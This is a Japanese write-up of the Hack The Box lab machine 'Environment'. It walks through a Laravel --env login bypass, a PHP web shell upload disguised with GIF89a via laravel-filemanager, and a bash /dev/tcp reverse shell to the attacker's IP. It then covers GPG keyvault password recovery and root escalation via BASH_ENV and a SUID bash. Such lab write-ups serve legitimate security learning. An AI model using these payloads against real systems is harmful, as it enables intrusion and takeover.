0.はじめに
hacktheboxのEnvironment攻略方法です。
エラー画面から得られる情報(バージョン情報、エラー発生場所のソースコード、特徴のあるエラーメッセージ)をヒントに攻略を進めます。
開発を進める上でもエラー画面に出力する内容にも気を付けてほしいというメッセージ性があるマシンだと思います。
1.nmapでポートスキャン
①開いているポートの確認
nmap -sT 10.10.11.67
②ポートの詳細を確認
nmap -sC -sV -sT -p 22,80 10.10.11.67
リダイレクトのメッセージが出ているのでhostsへの追記をしておきます
・リダイレクトのメッセージ
http-title: Did not follow redirect to http://environment.htb
・hostsへの追記
cd /etc/
sudo nano hosts
10.10.11.67 environment.htb
2.webサイトの調査
①webサイトにアクセス
http://environment.htb
操作出来ることは画面下部のEmail欄にメールアドレスを入力して「Join!」をクリック出来るだけでした。
②ディレクトリ調査
gobuster dir -u http://environment.htb -w /usr/share/wordlists/dirb/common.txt
login、mailing、up、uploadのページをピックアップして次に確認してみます。
③ディレクトリ調査で判明したページの調査
(1)loginページ
http://environment.htb/login
(2)mailingページ
http://environment.htb/mailing
エラーになりましたがバージョン情報を確認出来ます。
PHP 8.2.28 — Laravel 11.30.0
(3)upページ
http://environment.htb/up
「Application up」という表示だけのページです。
外部からアプリケーションが正常稼働しているか確認する目的のページに思われます。
(4)uploadページ
http://environment.htb/upload
こちらもmailingページと同様のエラー画面でした。
3.脆弱性の調査
①LaravelのCVE調査
「Laravel 11.30.0 CVE」で検索すると以下のサイトが見つかりました。
・CVE概要
https://nvd.nist.gov/vuln/detail/CVE-2024-52301
・PoC
https://github.com/Nyamort/CVE-2024-52301
②PoCの検証
以下のURLの下部にバージョン情報として「Production v1.1」という記載があります。
http://environment.htb/
以下のURLにアクセスすることで変更されるか確認します。
http://environment.htb?--env=testxxx
「Testxxx v1.1」に変わったので成功です。
③loginページの調査(ソースコード確認)
(1)burpで「Intercept on」に変更

(2)loginページで以下の内容を入力して「Sign In」クリック時の通信をキャプチャー
loginページ
http://environment.htb/login
入力内容
| 項目 | 入力内容 |
|---|---|
testuser@test.test |
|
| Password | test |
| Remember Me? | チェックなし |
(3)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容
- 変更前:remember=False
- 変更後:remember=Falsetmp
ソースコード(routes/web.php)
$keep_loggedin = False;
} elseif ($remember == 'True') {
$keep_loggedin = True;
}
if($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
$user = User::where('email', $email)->first();
以下の記述から環境変数が「preprod」であれば開発者用のログインが出来そうです。
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
④loginページの調査(環境変数の変更)
(1)burpで「Intercept on」に変更

(2)loginページで以下の内容を入力して「Sign In」クリック時の通信をキャプチャー
loginページ
http://environment.htb/login
入力内容
| 項目 | 入力内容 |
|---|---|
testuser@test.test |
|
| Password | test |
| Remember Me? | チェックなし |
(3)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容
- 変更前:POST /login HTTP/1.1
- 変更後:POST /login?--env=preprod HTTP/1.1
(4)ブラウザ画面に戻るとログインに成功してDashboard画面に遷移

⑤Profile画面の確認
(1)「Profile」クリック

(2)「Choose New Picture」をクリックして、任意のデータを選択
「Choose New Picture」をクリック

(5)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容
- 変更前:Content-Disposition: form-data; name="upload"; filename="sample.png"
- 変更後:Content-Disposition: form-data; name="xxx"; filename="sample.png"
以下のエラーメッセージが確認出来ます。
Some error occured during uploading.
⑥アップロード機能の特定
以下のエラーメッセージで検索してみます。
Some error occured during uploading.
検索結果から画像アップロードでは以下のパッケージを使っていると判断出来ます。
laravel-filemanager
バージョン情報を確認した際も以下の内容で確認出来ていたので違和感はないです。
PHP 8.2.28 — Laravel 11.30.0
⑦アップロード機能のCVEを検索
以下の内容で検索します。
laravel-filemanager cve

以下のCVEによりRCEが出来るということで見つかります。
CVE-2024-21546
⑧RCEの検証
(1)検証用のphpファイルを作成
検証用のphpファイル(whoami.php)
<?php system("whoami");?>
(2)「Choose New Picture」をクリックして、phpファイルを選択

(5)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
・変更前
変更前Request
Content-Disposition: form-data; name="upload"; filename="whoami.php"
Content-Type: application/x-php
<?php system("whoami");?>
・変更後
変更点1.phpの後ろに「.」を追加
filename="whoami.php" → filename="whoami.php."
変更点2.「GIF89a;」とその前後に改行を追加
GIF89a;
変更後Request
Content-Disposition: form-data; name="upload"; filename="whoami.php."
Content-Type: application/x-php
GIF89a;
<?php system("whoami");?>
(6)以下のURLにアクセス
http://environment.htb/storage/files/whoami.php
whoamiの実行結果である「www-data」が確認出来たのでRCE成功です。
4.リバースシェル
①自端末のIPを取得
ifconfig
②phpファイル作成
phpファイル(reverse_sh.php)
GIF89a;
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.9/5600 0>&1'");?>
今回はファイル作成時に「GIF89a;」を含めて作成しています。
③「Choose New Picture」をクリックして、phpファイルを選択

⑥攻撃端末で待ち受け状態にして待機
nc -lvnp 5600
⑦burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
・変更後
変更点1.phpの後ろに「.」を追加
filename="whoami.php" → filename="reverse_sh.php."
5.リバースシェル獲得後の調査
①リバースシェルの実行ユーザ確認
id
whoami
→「www-data」というユーザであることがわかります。
②userフラグの取得
cat /home/hish/user.txt
6.権限昇格(www-dataユーザ → hishユーザ)
①hishのホームディレクトリ調査
cd /home/hish
ls -la
「.gnupg」と「backup」フォルダを確認してみます。
ls -la .gnupg
ls -la backup
「.gnupg」と「backup」フォルダ共に全てのユーザへの読み取り権限が付いています。
そのため、「.gnupg/private-keys-v1.d」の秘密鍵を使って「backup/keyvault.gpg」を復号化することが可能です。
②keyvault.gpgの復号化
mkdir /tmp/testdir
cp -r /home/hish/.gnupg/ /tmp/testdir
ls -la /tmp/testdir
gpg -d --home /tmp/testdir/.gnupg/ /home/hish/backup/keyvault.gpg
復号化すると以下の結果が表示されました。
</tmp/testdir/.gnupg/ /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/testdir/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
「ENVIRONMENT.HTB」という記述からこのサーバでは以下をパスワードに使っていると考えられます。
パスワード:marineSPm@ster!!
③ssh接続
ssh hish@environment.htb
7.権限昇格(hishユーザ → rootユーザ)
①特権ユーザで実行できるコマンドの調査
sudo -l
以下の内容が表示されます。
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
以下の点に注目します。
・「/usr/bin/systeminfo」をrootとして実行出来ること
・「env_keep+="ENV BASH_ENV"」により、「BASH_ENV」の環境変数を引き継いでsudoを実行出来ること
②環境変数が引き継いでsudo実行されることの確認
(1)確認用shファイル作成
確認用shファイルの作成
nano sample.sh
whoami > /home/hish/test.txt
確認用shファイルの実行権限追加
chmod 777 ./sample.sh
(2)hishユーザで確認用shファイルを実行
./sample.sh
cat test.txt
test.txtにhishユーザで実行されたという記録が残りました。
(3)環境変数に確認用shファイルを指定してsudo実行
BASH_ENV="/home/hish/sample.sh" sudo /usr/bin/systeminfo
cat test.txt
test.txtにrootユーザで実行されたという記録が残りました。
③root権限の取得
(1)権限昇格用shファイル作成
権限昇格用shファイルの作成
nano PrivilegeEscalation.sh
chmod +s /bin/bash
権限昇格用shファイルの実行権限追加
chmod 777 ./PrivilegeEscalation.sh
(2)環境変数に権限昇格用shファイルを指定してsudo実行
BASH_ENV="/home/hish/PrivilegeEscalation.sh" sudo /usr/bin/systeminfo
(3)root権限取得
bashにSUIDが付与されたことを確認
ls -l /bin/bash
root権限取得
bash -p
実行ユーザ確認
id
whoami
④rootフラグの取得
cat /root/root.txt
8.おわりに
前半のエラー画面から得られる情報を使ってシェルを獲得するまでが難しいです。
また、画像ファイルとして認識させてphpファイルをアップロードする部分は他にもベストな方法があるかもしれません。
後半は情報も限られていたので、入手した情報をどう利用するかという感じでした。





















































